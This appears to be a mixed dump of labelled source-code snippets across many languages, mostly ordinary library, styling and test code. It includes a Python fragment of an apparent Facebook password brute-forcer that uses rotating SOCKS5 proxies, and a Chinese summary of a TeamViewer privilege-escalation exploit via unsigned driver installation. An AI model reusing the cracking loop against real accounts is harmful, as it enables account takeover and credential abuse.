content
stringlengths
2
6.21k
label
stringclasses
16 values
-- -- yoinked from foldsigns, license included here -- -- MIT License -- -- -- -- Copyright (c) 2021 Lewis Russell -- -- -- -- Permission is hereby granted, free of charge, to any person obtaining a copy -- -- of this software and associated documentation files (the "Software"), to deal -- -- in the Software without re...
Lua
= vec![VkSurfaceFormatKHR { format: 0, colorSpace: 0, }; count as usize]; unsafe { vkGetPhysicalDeviceSurfaceFormatsKHR(self.gpu.vk_physical_device,window.vk_surface,&mut count,formats.as_mut_ptr()) }; let mut format_supported = false; for i in 0..formats.len() {...
Rust
to_its_capacity_before_splitting() { let mut tree: KdTree<f64, i32, 2> = KdTree::new(); let capacity = 2_usize.pow(4); for _ in 0..capacity { let (pos, data) = random_point(); tree.add(&pos, data).unwrap(); } assert_eq!(tree.size, capacity); assert...
Rust
/// Label text to draw on a merged empty lane. /// /// This will only be drawn if all of the measures for a domain are null, and /// [mergeEmptyLanes] is enabled. /// /// The renderer must be configured with a [BarLabelDecorator] for this label /// to be drawn. final String emptyLaneLabel; /// Whether ...
Dart
ub', # 0xe5 'ssyubs', # 0xe6 'ssyus', # 0xe7 'ssyuss', # 0xe8 'ssyung', # 0xe9 'ssyuj', # 0xea 'ssyuc', # 0xeb 'ssyuk', # 0xec 'ssyut', # 0xed 'ssyup', # 0xee 'ssyuh', # 0xef 'sseu', # 0xf0 'sseug', # 0xf1 'sseugg', # 0xf2 'sseugs', # 0xf3 'sseun', # 0xf4 'sseunj', # 0...
Python
+ "goalert.v1\"B\n" + "\x1fUsersWithoutAuthProviderRequest\x12\x1f\n" + "\vprovider_id\x18\x01 \x01(\tR\n" + "providerId\"J\n" + "\x15SetAuthSubjectRequest\x121\n" + "\asubject\x18\x01 \x01(\v2\x17.goalert.v1.AuthSubjectR\asubject\"D\n" + "\bUserInfo\x12\x0e\n" + "\x02id\x18\x01 \x01(\tR\x02id\x12\x12\n" + "\...
Go
r: rgb(130.0119047619, 145.9642857143, 55.0357142857); border-color: rgb(130.0119047619, 145.9642857143, 55.0357142857); } .wrap .page-title-action:focus { border-color: rgb(181.8928571429, 198.3214285714, 104.6785714286); color: rgb(97.0238095238, 108.9285714286, 41.0714285714); box-shadow: 0 0 0 1px rgb(181....
CSS
#ifndef DB_API_H #define DB_API_H #define DB_UNKNOWN_SCHEME -1 #define DB_SQLITE2 1 #define DB_SQLITE3 2 #define DB_MYSQL 3 #define DB_PGSQL 4 #define DB_OK 0 #define DB_ERROR 1 #define DB_BUSY 2 #define DB_NO_CONNECTION 3 #define DB_NO_CONNECTION_REAL 4 #de...
C
xe8318008 ! 66: STH_R sth %r20, [%r6 + %r8] ldda [%r12]ASI_BLK_P, %f0 membar 0x40 stda %f0, [%r11]ASI_BLK_P membar 0x40 .word 0xec318008 ! 69: STH_R sth %r22, [%r6 + %r8] .word 0xec2b6028 ! 70: STB_I stb %r22, [%r13 + 0x0028] .word 0xe811e000 ! 71: LDUH_I lduh [%r7 + 0x0000], %r20 stda %f0, [%r11]ASI_BL...
Assembly
t { boost: opt.boost_fields.as_ref().and_then(|boost| boost.get(field_name).map(|el| OrderedFloat(*el))), levenshtein_distance, path: field_name.to_string(), terms: vec![term], starts_with, is_regex, ignore_c...
Rust
TEST_RR_OP( 14, pv.sll.sc.b, 0xF05000C0, 0x5FF510FC, 0x02020004 ); TEST_RR_OP( 15, pv.sll.sc.b, 0xA0C0B0A0, 0x2A6CFB1A, 0x01000604 ); TEST_RR_OP( 16, pv.sll.sc.b, 0x047E94F8, 0x823FCAFC, 0x07010601 ); # pv.sll.sci.b TEST_UIMM6_OP( 17, pv.sll.sci.b, 0x60002020, 0x8BA0A901, 5 ); TEST_UIMM6_OP( 18, pv.sll.sci.b,...
Assembly
? SendType.Unreliable : SendType.Reliable; Result res = conn.SendMessage( pData, data.Length, sendFlag); if(res != Result.OK) { Debug.LogWarning($"Send issue: {res}"); } pinnedArray.Free(); return res; } protected (byte[], int) ProcessMessage(IntPtr ptrs, int size) { byte[] m...
C#
, _0221487C ; =0x00002070 ldr r0, [r5, r0] add r0, #0xf0 bl ScheduleWindowCopyToVram ldr r0, _0221487C ; =0x00002070 ldr r0, [r5, r0] add r0, r0, r4 bl ScheduleWindowCopyToVram add sp, #0x14 pop {r4, r5, r6, r7, pc} nop _02214874: .word 0x00002075 _02214878: .word 0x000F0E00 _0221487C: .word 0x00002070 _02214...
Assembly
from pathlib import Path from typing import List, Union from langchain_core.documents import Document from langchain_community.document_loaders.base import BaseLoader class SRTLoader(BaseLoader): """Load `.srt` (subtitle) files.""" def __init__(self, file_path: Union[str, Path]): """Initialize with...
Python
''' @author Maurice Amon ''' import pickle from commands.Command import Command from commands.requests.FetchGameStateRequest import FetchGameStateRequest from commands.responses.GameStateResponse import GameStateResponse from model.GameHandler import GameHandler from model.board.BattleshipMatrix import BattleshipMatri...
Python
zh-CN | #### 获取壁纸JSON数据 ```shell https://api.bimg.cc/all?page=1&order=asc&limit=10&w=1920&h=1080&mkt=zh-CN ``` | 参数名 | 类型 | 是否必要 | 备注 | | :----: | :------: | :------: | :-----------------------------: | | page | `Int` | 否 | 页数,默认1 | | limit | `Int` ...
Markdown
solid #DDDDDD; } /* Active */ .ui.pointing.menu .active.item:after { visibility: visible; } .ui.pointing.menu .active.dropdown.item:after { visibility: hidden; } /* Don't double up pointers */ .ui.pointing.menu .dropdown.active.item:after, .ui.pointing.menu .active.item .menu .active.item:after { display: none...
CSS
default: baseFunction=F/F(0); } dBaseFunction = baseFunction.derivative(); #if BOUNDARY_CONDITIONS leftBaseFunction = baseFunction + baseFunction.shift( -1 ); rightBaseFunction = baseFunction + baseFunction.shift( 1 ); dLeftBaseFunction = leftBaseFunction.derivative(); ...
C++
dType) { } /// <summary> /// Executes the action. /// </summary> /// <param name="sender"> /// The <see cref="T:System.Object"/> that is passed to the action by the behavior. Generally /// this is <seealso cref="P:Microsoft.Xaml.Interactivity.IBehavior.As...
C#
ap_log->info("Deleting UE context. UE IMSI: %lu\n", ue_ctx->second->imsi); m_s1ap_log->console("Deleting UE context. UE IMSI: %lu\n", ue_ctx->second->imsi); delete ue_ctx->second; //delete UE context m_active_ues.erase(ue_ctx); //remove from general MME map ues_in_enb->second.erase(u...
C++
s.delete(v1); expect(s.has(v1)).toBe(false); expect(s.has(v2)).toBe(true); expect(s.size).toBe(1); let v3 = new Uint64(3, 4); expect(s.has(v3)).toBe(false); s.add(v3); expect(s.has(v1)).toBe(false); expect(s.has(v2)).toBe(true); expect(s.has(v3)).toBe(true); expect(s.size)...
Typescript
await zoomIntoImageryByButton(page); await expect(page.getByLabel('Focused Image Element')).toHaveJSProperty( 'style.transform', 'scale(2) translate(0px, 0px)' ); await zoomIntoImageryByButton(page); await expect(page.getByLabel('Focused Image Element')).toHaveJSProperty( 'style.tr...
JavaScript
x_samples, read_condition)?; let mut result = Vec::with_capacity(values.len()); for ks in values { if let Some(s) = DataSample::<D>::from_with_key(ks) { result.push(s); } } Ok(result) } /// Reads next unread sample /// /// # Examples /// /// ``` /// # use serde::{Seria...
Rust
y *assets.Discovery, filePath string) (string, error) { data, err := discovery.ReadFile(filePath) if err != nil { return "", err } return string(data), nil } // generateAndWriteBundle handles bundle generation and file writing func generateAndWriteBundle( ctx context.Context, projectRoot string, selectedAgent...
Go
ts { ProofError(ProofErr), PermissionStart(PermStart), PermissionEnd(Perm), RangeMarkupElements(RangeMarkupElements), Insert(RunTrackChange), Delete(RunTrackChange), MoveFrom(RunTrackChange), MoveTo(RunTrackChange), MathContent(MathContent), } impl RunLevelElts { pub fn is_choic...
Rust
// Copyright 2002-2004 Frozenbyte Ltd. #ifndef INCLUDED_EDITOR_MOUSE_H #define INCLUDED_EDITOR_MOUSE_H #ifndef INCLUDED_WINDOWS_H # define INCLUDED_WINDOWS_H # include <windows.h> #endif struct Storm3D_CollisionInfo; class ObstacleCollisionInfo; #include <datatypedef.h> namespace frozenbyte { namespace edito...
C
eplyQueryProposalRule).PropRules[k].Index, int32(tcase.index)) k-- } // 正向查找 req = &auty.ReqQueryProposalRule{ Status: auty.AutonomyStatusProposalRule, Count: 10, Direction: 1, Index: -1, } rsp, err = au.listProposalRule(req) assert.NoError(t, err) assert.Equal(t, len(rsp.(*auty.ReplyQueryP...
Go
.createCase( user.toReference(), cazePerson.toReference(), Disease.EVD, CaseClassification.PROBABLE, InvestigationStatus.PENDING, new Date(), rdcf); SampleDto sample = creator.createSample(caze.toReference(), user.toReference(), rdcf.facility); SampleDto referredSample = creator.createSample(ca...
Java
= "흥~ 지휘관 말고는 아무도 못 들어와—— 아, 지휘관이구나. 그럼 괜찮지.", mission = "임무가 어렵다고? 잘 생각해봐. 내가 임무서에 체크 표시를 해줄 수는 없잖아.", touch2 = "나는 교황청의 기사가 아니야. 지휘관, 내가 하는 진짜 일이 뭔지 알고싶어?", feeling1 = "지휘관이 하기 싫다면 잘 어울리는 곳을 추천해줄 수 있는데.", skill = "사라져라!", drop_descrip = "비시아 성좌 라 갈리소니에르급 경순양함—라 갈리소니에르", mail = "이봐, 우편이야! 안 가져갔다 바람에 날아가기라도...
Lua
36842105em; } blockquote.aligncenter { margin-bottom: 1.473684211em; } /** * 9.0 - Clearings */ .clear:before, .clear:after, blockquote:before, blockquote:after, .entry-content:before, .entry-content:after, .entry-summary:before, .entry-summary:after, .comment-content:before, .comment-content:after, .site-conten...
CSS
感受器", "pressure recorder":"[化] 压力记录器; 压力记录仪", "pressure recording controller":"[化] 压力记录控制器", "pressure reduction":"[化] 减压", "pressure reforming":"[化] 加压重整", "pressure regulating device":"[化] 调压机构", "pressure regulating valve":"[化] 调压阀", "pressure regulator":"[化] 调压器\\n[医] 调压器", "pressure regulator valve":"[化] 压力调节阀", "...
Typescript
/* * strchr.c -- * * Source code for the "strchr" library routine. * * Copyright 1988 Regents of the University of California * Permission to use, copy, modify, and distribute this * software and its documentation for any purpose and without * fee is hereby granted, provided that the above copyright * notice ...
C
: spec!, }; } /// Represents a snapshot of a job. class Snapshot { /// The time this snapshot was created. core.String? creationTime; /// User specified description of the snapshot. /// /// Maybe empty. core.String? description; /// The disk byte size of the snapshot. /// /// Only available for s...
Dart
n that can only be backed by [JsMap], // allowing dart2js to compile more optimal code for key-value pair reads/writes. @Deprecated('This API is for use only within generated code.' ' Do not reference it in your code, as it may change at any time.') class _$$TwoLevelWrapperProps$JsMap extends _$$TwoLevelWrapperProp...
Dart
-- Copyright 2006-2016 Mitchell mitchell.att.foicica.com. See LICENSE. -- D LPeg lexer. -- Heavily modified by Brian Schott (@Hackerpilot on Github). local l = require('lexer') local token, word_match = l.token, l.word_match local P, R, S = lpeg.P, lpeg.R, lpeg.S local M = {_NAME = 'dmd'} -- Whitespace. local ws = t...
Lua
If `KERBEROS` is specified for `authentication_type`, this parameter is required. /// </summary> [Input("kerberosPrincipal")] public Input<string>? KerberosPrincipal { get; set; } /// <summary> /// The URI of the HDFS cluster's Key Management Server (KMS). /// </summary>...
C#
""" Plot a 2D array of data ======================= Dispose a two dimensional array of data into a grid. In this example, we generate a dataset of EEG signals composed with 125 trials of 4000 time points each. After opening the interface, you should notice two layouts : * The first one, on the left composed with a g...
Python
#include <cstdint> #define STRING(s) #s // an enumeration can also be used here template <typename T, T value> constexpr T ensure_constexpr() { return value; } #define CONSTEXPR(x) ensure_constexpr<decltype(x), x>() constexpr uint64_t fnv1impl(uint64_t h, const char* s) { return (*s == 0) ? h ...
C
er += skillVO.param; break; case SKILL_TYPE.MAGNETS://精灵 -- 每X秒丢出一个磁铁 playerCom.heroInfo.heroSkillVO = skillVO; break; case SKILL_TYPE.MARIGOLD://万寿菊 -- 有概率丢出一朵万寿菊,拾取后队长伤害提高,持续一段时间 ...
Typescript
// Set flags to true, false or null depending on related character this.masks = blankedModel.split('').map( char => char === ' ' ? { value: '', flag: false} : { value: char, flag: char.toUpperCase() === char ? true : false }) // Create initial model flag string this.maskValue = th...
Typescript
//********************************************************* // // Copyright (c) Microsoft. All rights reserved. // This code is licensed under the MIT License (MIT). // THIS CODE IS PROVIDED *AS IS* WITHOUT WARRANTY OF // ANY KIND, EITHER EXPRESS OR IMPLIED, INCLUDING ANY // IMPLIED WARRANTIES OF FITNESS FOR A PARTICUL...
C
E%3Crect x="25em" width="4em" height="100%"/%3E%3C/svg%3E') no-repeat scroll; width: 29em; } [data-container='narrow'][data-span='wide'][data-column='static'][data-gutter='calc'] { background: url('data:image/svg+xml,%3Csvg xmlns="http://www.w3.org/2000/svg" fill="url(%23susy-svg-gradient)" width="100%" %3E%3Cdefs...
CSS
тегориям. - Категории должны быть привязаны к типам.Например, в тип “Списание” относится категория “Маркетинг”, в которую входят подкатегории "Farpost", "Avito". ## Требования к реализации: 1. Технологии:: - Python: Django (с Django ORM) - База данных: SQLite (для упрощения) или любая другая реляционная база данных. - ...
Markdown
n a new edge (x->y) is inserted, do nothing if rank[x] < rank[y]. // (3) Otherwise: adjust ranks in the neighborhood of x and y. #include "absl/base/attributes.h" // This file is a no-op if the required LowLevelAlloc support is missing. #include "absl/base/internal/low_level_alloc.h" #ifndef ABSL_LOW_LEVEL_ALLOC_MISSI...
C++
2) is less than the actual words in between - q1 = prominent and q2 = intellectual :as Vannevar served as a prominent policymaker and public intellectual * > 1 min distance and max distance (4) is equal to the actual words in between - q1 = prominent and q2 = intellectual :as Vannevar served as a prominent policyma...
Java
{ if (shapeMode == POINTS && stroke && vertexCount > 0) { endPointsShape(); } else if (shapeMode == POLYGON) { endPolygonShape(mode); } shapeMode = UNDEFINED; } private void endPointsShape() { android.graphics.Matrix m = canvas.getMatrix(); ...
Java
/* SPDX-FileCopyrightText: 2021-2025 Laurent Montel <montel@kde.org> SPDX-License-Identifier: LGPL-2.0-or-later */ #pragma once #include "librocketchatrestapi-qt_export.h" #include "restapiabstractjob.h" namespace RocketChatRestApi { class LIBROCKETCHATRESTAPI_QT_EXPORT SaveRoomSettingsJob : public RestApiAbst...
C
Command::GetDevices => client::get_devices().await, Command::GetHrTimeSeries => client::heart_rate::get_time_series().await, Command::GetHrIntradayTimeSeries => client::heart_rate::get_intraday_time_series().await, Command::GetProfile => client::get_profile().await, Command::GetSl...
Rust
## $a0 = DE000000 /* 03510 80AD7010 244C0008 */ addiu $t4, $v0, 0x0008 ## $t4 = 00000008 /* 03514 80AD7014 AE0C02D0 */ sw $t4, 0x02D0($s0) ## 000002D0 /* 03518 80AD7018 AC490004 */ sw $t1, 0x0004($v0) ## 00000004 /* 0351C 80AD701C AC440000 */ sw $a0, 0x0000(...
Assembly
movl $4, src + 0x8 movl $5, src + 0xA /* Equal. */ movl $2, dst + 0x0 movl $3, dst + 0x4 movl $4, dst + 0x8 movl $5, dst + 0xA cld mov $src, %rsi mov $dst, %rdi mov $4, %rcx repz cmpsl mov %rcx, %r12 /* Last ...
Assembly
ffix="" if title ~= nil then suffix=title:gsub(" ", "-"):gsub("[^A-Za-z0-9-]", ""):lower() else for _=1, 4 do suffix=suffix .. string.char(math.random(65, 90)) end end return tostrin...
Lua
s reify second ffirst fnext nfirst nnext defmulti defmethod meta with-meta ns in-ns create-ns import refer keys select-keys vals key val rseq name namespace promise into transient persistent! conj! assoc! dissoc! pop! disj! use class type num float double short byte boolean bigint biginteger bigdec print-method print-d...
JavaScript
boundary=([^;]+)/); this.ensureHasBoundary(boundaryMatch); return boundaryMatch[1]; } ensureHasBoundary(boundaryMatch: RegExpExecArray): void { if (!boundaryMatch) { throw new Error('Bad content-type header, no multipart boundary'); } } }import { Context, Fragm...
Typescript
ginalUrl: String): UrlEntity { logger.info { "Shortening URL: $originalUrl" } val shortKey = generateUniqueShortKey() return urlRepository.save(shortKey, originalUrl) } fun getOriginalUrl(shortKey: String): String? { logger.info { "Looking up original URL for short key: $shortKe...
Kotlin
sure how to support custom hashcodes for keys. I don't think this can work without changes to the compiler. let v = new Map<Value, Value>(); assertEncodedValue("a0", Value.fromMap(v)); v = new Map<Value, Value>(); v.set(Value.fromU64(1), Value.fromU64(2)); v.set(Value.fromU64(3), Value.fromU64(4))...
Typescript
BB=ON -D BUILD_NEW_PYTHON_SUPPORT=ON -D WITH_V4L=ON -D INSTALL_C_EXAMPLES=ON -D INSTALL_PYTHON_EXAMPLES=ON -D BUILD_EXAMPLES=ON -D WITH_QT=ON -D WITH_GTK=ON -D WITH_OPENGL=ON .. $ sudo make $ sudo make install $ sudo gedit /etc/ld.so.conf.d/opencv.conf $ 输入 /usr/local/lib,按 Ctrl + X 退出,退出时询问是否保存,按 Y 确认。 $ sudo ldcon...
Markdown
not live long enough //let y: &'a i32 = &_x; // Attempting to use the lifetime `'a` as an explicit type annotation // inside the function will fail because the lifetime of `&_x` is shorter // than that of `y`. A short lifetime cannot be coerced into a longer one. } pub fn explicit_annotation() { // Create v...
Rust
let (tx, rx) = channel(MESSAGES); let consumer = thread::spawn(move || { future::block_on(async move { // recieve one message let msg = rx.recv().await; test_println!("recv {:?}", msg); assert_dbg!(msg.is_some()); ...
Rust
ave_user_regs bl do_fiq irq_restore_user_regs #else .align 5 irq: get_bad_stack bad_save_user_regs bl do_irq .align 5 fiq: get_bad_stack bad_save_user_regs bl do_fiq #endif
Assembly
high = 5; low = 4; break; case LCD.PixelColor.BLACK: high = 7; low = 6; break; } const paletteColor = ((palette & (0x01 << high)) >> low) | ((palette & (0x01 << low)) >> low); switch(paletteColor) { case LCD.PixelColor.WHITE: red = this.si...
Typescript
OUNT"; IBaseExpression[] bindingExprRow = new IBaseExpression[6]; bindingExprRow[0] = new ScriptExpression("dataSetRow[0]"); bindingExprRow[1] = new ScriptExpression("dataSetRow._rowPosition"); bindingExprRow[2] = new ScriptExpression("dataSetRow.COUNTRY"); bindingExprRow[3] = new ScriptExpression("dataSetRow...
Java
lShape(), VARIANT_KEYWORD, nsCSSProps::kRadialGradientShapeKTable); bool haveSize = ParseSingleTokenVariant(cssGradient->GetRadialSize(), VARIANT_KEYWORD, (aFlags & eGradient_AnyLegacy) ? nsCSSProps::kRadialGradientLegacySizeKTab...
C++
material3.CircularProgressIndicator( modifier = Modifier.height(16.dp).width(16.dp), strokeWidth = 2.dp ) androidx.compose.material3.Text( text = "読...
Kotlin
ingUtf8(1); } @Test(dataProvider = "readerProvider", expectedExceptions = IndexOutOfBoundsException.class) public void testSetPosition(ByteSequenceReader reader, byte[] ba) { reader.rewind(); for (int i = 0; i < ba.length; i++) { reader.position(i); String readStrin...
Java
# Copyright 2023 The JAX Authors. # # Licensed under the Apache License, Version 2.0 (the "License"); # you may not use this file except in compliance with the License. # You may obtain a copy of the License at # # https://www.apache.org/licenses/LICENSE-2.0 # # Unless required by applicable law or agreed to in wri...
Python
d, 0x2e, 0x63, 0x72, 0x65, 0x64, 0x65, 0x6e, 0x74, 0x69, 0x61, 0x6c, 0x73, 0x2e, 0x76, 0x31, 0x42, 0x19, 0x49, 0x41, 0x4d, 0x43, 0x72, 0x65, 0x64, 0x65, 0x6e, 0x74, 0x69, 0x61, 0x6c, 0x73, 0x43, 0x6f, 0x6d, 0x6d, 0x6f, 0x6e, 0x50, 0x72, 0x6f, 0x74, 0x6f, 0x50, 0x01, 0x5a, 0x45, 0x63, 0x6c, 0x6f, 0x75, 0x64, 0x2e, 0x...
Go
cp[4956] = 0x7D4F; // 絏 (69-18) cp[4957] = 0x7D63; // 絣 (69-19) cp[4958] = 0x7D93; // 經 (69-20) cp[4959] = 0x7D89; // 綉 (69-21) cp[4960] = 0x7D5B; // 絛 (69-22) cp[4961] = 0x7D8F; // 綏 (69-23) cp[4962] = 0x7D7D; // 絽 (69-24) cp[4963] = 0x7D9B; // 綛 (69-25) ...
Java
sts/Finding-TeamViewer-0days-Part-3/ # 概要视频 📺 可以在这里找到利用的视频: - https://youtu.be/lUkAMAK-TPI - https://youtu.be/3R0aBYd0Qn4 - https://youtu.be/kOjjFgkJQoc # 概要 在能够 **伪造**(如博客中所述的一些简单身份验证)一个有效的 TeamViewer 客户端连接到 SYSTEM 服务 IPC 后,可以触发任意驱动程序安装。TeamViewer 未验证正在安装的驱动程序的签名。 因此,由于 TeamViewer...
Markdown
.ajaxSubmit{padding:20px;background:#55ea55;border:1px solid #999;display:none;} .formError .formErrorContent{width:100%;background:#ee0101;position:relative;color:#fff;width:150px;font-size:11px;border:2px solid #ddd;box-shadow:0 0 6px #000;-moz-box-shadow:0 0 6px #000;-webkit-box-shadow:0 0 6px #000;padding:4px 10px ...
CSS
i686; en-US; rv:1.8) Gecko/20060118 Firefox/1.5", "Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.8) Gecko/20060111 Firefox/1.5", "Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.8) Gecko/20060110 Debian/1.5.dfsg-4 Firefox/1.5", "Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.8b5) Gecko/20051008 Fedora/1.5-0.5.0.beta2 ...
Go
refx elideCompositeElements(last, clx, t.Elem()) // recurse } else { clx.Type = toConstTypeExpr(last, tx, t) elideCompositeElements(last, clx, t) // recurse } } } } // returns number of args, or if arg is a call result, // the number of results of the return tuple type. func countNumArgs(store Sto...
Go
x), %ymm29, %ymm30 # AVX512{F,VL} Disp8 vunpckhpd 4096(%rdx), %ymm29, %ymm30 # AVX512{F,VL} vunpckhpd -4096(%rdx), %ymm29, %ymm30 # AVX512{F,VL} Disp8 vunpckhpd -4128(%rdx), %ymm29, %ymm30 # AVX512{F,VL} vunpckhpd 1016(%rdx){1to4}, %ymm29, %ymm30 # AVX512{F,VL} Disp8 vunpckhpd 1024(%rdx){1to4}, %ymm29, %ymm30...
Assembly
;93mCP:%s\x1b[1;90m]-[\x1b[1;94m%s%s\x1b[1;90m]%s ✓'%(bi,loop,len(id2),ok,cp,int(pers),str(fff),x));sys.stdout.flush() ua = random.choice(hEROn) ses = requests.Session() for pw in pwv: try: nip=random.choice(prox) proxs= {'http': 'socks5://'+nip} ses.headers.update({"Host":"m.facebook.com","upgrade-insecu...
Python
repos:get(pkg.name) -- 404 if not repo then -- 404 goto __continue83 -- 405 end -- 405 if filterCategory ~= nil then -- 405 if not repo.categories then -- 405 goto __continue83 -- 407 end -- 407 if __TS__ArrayFind(repo.categories, matchCat) == nil then -- 40...
Lua
views.configuration.properties["generatr.site.cdn"]).isNull() assertThat(cdn.getCdnBaseUrl()).isEqualTo("https://cdn.jsdelivr.net/npm") } @Test fun `usage of view configuration with ending slash`() { val workspace = Workspace("workspace name", "").apply { views.configuration.add...
Kotlin
15}.slider{background-color:#30bcff}.slider[isEnabled=false]{background-color:#e0e0e0;color:#e0e0e0}.switch[checked=true]{background-color:#30bcff}.switch[checked=true][isEnabled=false]{background-color:#e0e0e0;color:#fff}.switch[isEnabled=false]{background-color:#e0e0e0;color:#e0e0e0}.tab-view{color:#fff}#login-backgr...
CSS
rror-darkest: color-mix( in var(--_gtt-color-space), var(--_gtt-color-error-base) 10%, black );--_gtt-color-warning-base: var( --gtt-color-warning-base, oklch(.769 .188 70.08) );--gtt-color-warning-lightest: color-mix( in var(--_gtt-color-space), var(--_gtt-color-warning-base) 10%, white );--gtt-color-warning-lighter: ...
Go
rror_msg=None): """@see L{RpcResultsBuilder} @param node: @see L{RpcResultsBuilder}. @type error_msg: string @param error_msg: the error message as returned by the RPC @rtype: L{rpc.RpcResult} """ return rpc.RpcResult(data=(False, error_msg), node=self._GetNodeId(node)) def AddSuccessful...
Python
return r; } catch (Throwable t) { if (bug("Unexpected exception: %s %s %s", cs, t.getClass().getSimpleName(), new Result(ib, ob, null))) t.printStackTrace(); return null; } } Re...
Java
团', '20国集团'}, {'53459', 'Group 20', 'Group 20'}, {'53460', 'Group of 20', 'Group of 20'}, {'53461', '贾丽青', '贾丽青'}, {'53462', '李圣泼', '李圣泼'}, {'53463', '李紫丹', '李紫丹'}, {'53464', '曾庆淮', '曾庆淮'}, {'53465', '胡德华', '胡德华'}, {'53466', '佔中', '佔中'}, {'53467', '热血公民', '热血公民'}, {'53468', '本土民主前线', '本土民主前线'}, {'53469', '民主女神像', '民主女神...
Lua
Unmanaged = 0x0004, // Method impl is unmanaged, otherwise managed. Managed = 0x0000, // Method impl is managed. // end managed mask // implementation info and interop ForwardRef = 0x0010, // Indicates method is not defined; used prim...
C#
2] = f37 add YY2 = YY2, INCY ;; STFD [YY2] = f38 add YY2 = YY2, INCY ;; STFD [YY2] = f39 add YY2 = YY2, INCY5 ;; adds J = -1, J ;; cmp.lt p6, p0 = 0, J (p6) br.cond.dptk .L11 ;; .align 16 .L20: tbit.z p6, p0 = N, 2 ;; (p6) br.cond.dpnt .L30 ;; mov AO1 = A adds AO2 = 1 * SIZE, A adds AO3 = 2 * SIZ...
Assembly
_sk and d_year = 2000 and d_moy = 3 and cs_bill_addr_sk = ca_address_sk and ca_gmt_offset = -6 group by i_item_id), ws as ( select i_item_id,sum(ws_ext_sales_price) total_sales from web_sales, date_dim, customer_address, item ...
Go
种结果的一个可能原因是CornerNet无法搜索边界框内的区域。为了允许CornerNet感知边界框内的视觉模式,一个潜在的解决方案是将CornerNet适应为一个两阶段检测器,使用RoI池化[21]来感知边界框内的视觉模式。然而,这些范式在计算上很昂贵。 <div align=center> <img src="https://img-blog.csdnimg.cn/direct/4ff6982d324c479d9e26480188cb1f86.png" width="70%" /> </div> 在本文中,我们提出了一个高效的替代方案,称为CenterNet,用于探索每个边界框内的视觉模式。为了检测一个对象,我们的方法...
Markdown
) { _parseAndUpdateUser(loginResponse.user!); } return loginResponse; } static Future<List<dynamic>> queryOidcLoginOptions() async { try { final url = await bind.mainGetApiServer(); if (url.trim().isEmpty) return []; final resp = await http.get(Uri.parse('$url/api/login-options...
Dart
/* * Copyright 2018- The Pixie Authors. * * Licensed under the Apache License, Version 2.0 (the "License"); * you may not use this file except in compliance with the License. * You may obtain a copy of the License at * * http://www.apache.org/licenses/LICENSE-2.0 * * Unless required by applicable law or ag...
C
val id = 2L val onFileGalleryItemClicked = mock<(FileGalleryItem) -> Unit>() val image = mock<FileGalleryItem> { on { this.id } doReturn id } initComposeRuleContent( images = listOf(image), onFileGalleryItemClicked = onFileGalleryItemClicked ...
Kotlin
akip ederken <b>Libya Devlet Televizyonu’nun, yani propaganda kanalının yayınladığı Kaddafi lehindeki gösterilere denk geldim</b>. Bir görüntü özellikle dikkatimi çekti, göstericilerden kameraya en yakın olanının taktığı atkı. Önce o yeşil atkının ne olduğunu anlamadım, zira <b>Libya’nın devlet bayrağı gibi, göstericil...
Markdown
el.style.transitionDuration = '400ms'; }, 1000); } } function setTransition(duration) { if (!swiper.params.scrollbar.el || !swiper.scrollbar.el) return; swiper.scrollbar.dragEl.style.transitionDuration = `${duration}ms`; } function updateSize() { if (!swiper.params.scrollbar.el || !swi...
JavaScript
_t * @param iface I2S sample rate (ex: 16000, 44100), I2S bit width (16, 24, 32),I2s format (I2S, PCM, DSP). * * @return * - 0 Success * - -1 Error */ esp_err_t audio_hal_codec_iface_config(audio_hal_handle_t audio_hal, audio_hal_codec_mode_t mode, audio_hal_codec_i2s_iface_t *iface); /** * @brief Se...
C
timezone" }, contains: [ QUOTE_STRING_MODE, APOS_STRING_MODE ]), }, aliases: ["jinja"], case_insensitive: true, subLanguage: ["xml"], contains: [ Mode( className: "comment", begin: "\\{%\\s*comment\\s*%}", end: "\\{%\\s*endcomment\\s*%}...
Dart
false)); // mLabelDuration.setText(Util.getDurationString(mediaPlayer.getDuration(), false)); // mSeeker.setProgress(0); // mSeeker.setMax(mediaPlayer.getDuration()); setControlsEnabled(true); if (mAutoPlay) { if (!mControlsDisabled && mHideControlsOnPlay) hideControls(); start(); i...
Java
atx == nil { return nil, 0, fmt.Errorf("atx %s/%d not in state", ballot.AtxID, ballot.Layer.GetEpoch()) } refinfo = &referenceInfo{ smesher: ballot.Smesher, atxid: ballot.AtxID, expectedBallots: ballot.EpochData.Eligibilities, beacon: ballot.EpochData.Beacon, height: ...
Go
念-感知]] - [[008-核心概念-亲密与切身]] --- tags: - 感知•理知•自我认知 - 感官 --- 听觉是一种时间性的、环绕式的、与内在情感紧密相连的感官,它将我们置于声音的包围之中,构建了一个与视觉所揭示的客观、分离的世界不同的存在维度。 > 声音来了,我们就处在声音里。它不像我们看到的物象,总在我们的对面。声音是弥散的,包围我们的。 > > 视觉是空间性的,听觉是时间性的。一个声音总是在展开、持续和消逝,它本身就是一个事件。 > > 音乐是纯粹的听觉艺术,它最能体现听觉与我们内在情感状态的直接关联。 ## 展开阐述 与视觉相比,听觉(Audition)展现了感知世界的另一种可能性。 ### 特...
Markdown
color: #64bb5d; } .no-touch .hi-icon-effect-6 .hi-icon:hover:before { -webkit-animation: spinAround 2s linear infinite; -moz-animation: spinAround 2s linear infinite; animation: spinAround 2s linear infinite; } /* Effect 7 */ .hi-icon-effect-7 .hi-icon { box-shadow: 0 0 0 4px rgba(255,255,255,1); -webkit-transi...
CSS
ndleCEXTradeUpdate(cexTrade) } // initiateMultiHopArb is called when a DEX order is matched and a multi-hop // arb should be started. The second trade of the multi-hop arb is executed // when this trade is complete. func (a *arbMarketMaker) initiateMultiHopArb(dexSell bool, matchRate, matchQty uint64, arbRates [2]uint...
Go
abled.BindValueChanged(OnValueChanged, true); base.LoadComplete(); } protected virtual void OnValueChanged(ValueChangedEvent<bool> v) { if (Enabled.Value && !playerExiting) manager.ActivePlugin(this); else manager.DisablePlugin...
C#
PropertyField(manipulationEnded, new GUIContent("Manipulation Ended [LastSelectExited]", "Fired when manipulation ends.")); if (baseInteractableFoldout = EditorGUILayout.Foldout(baseInteractableFoldout, "Base Interactable Settings", true, EditorS
C#
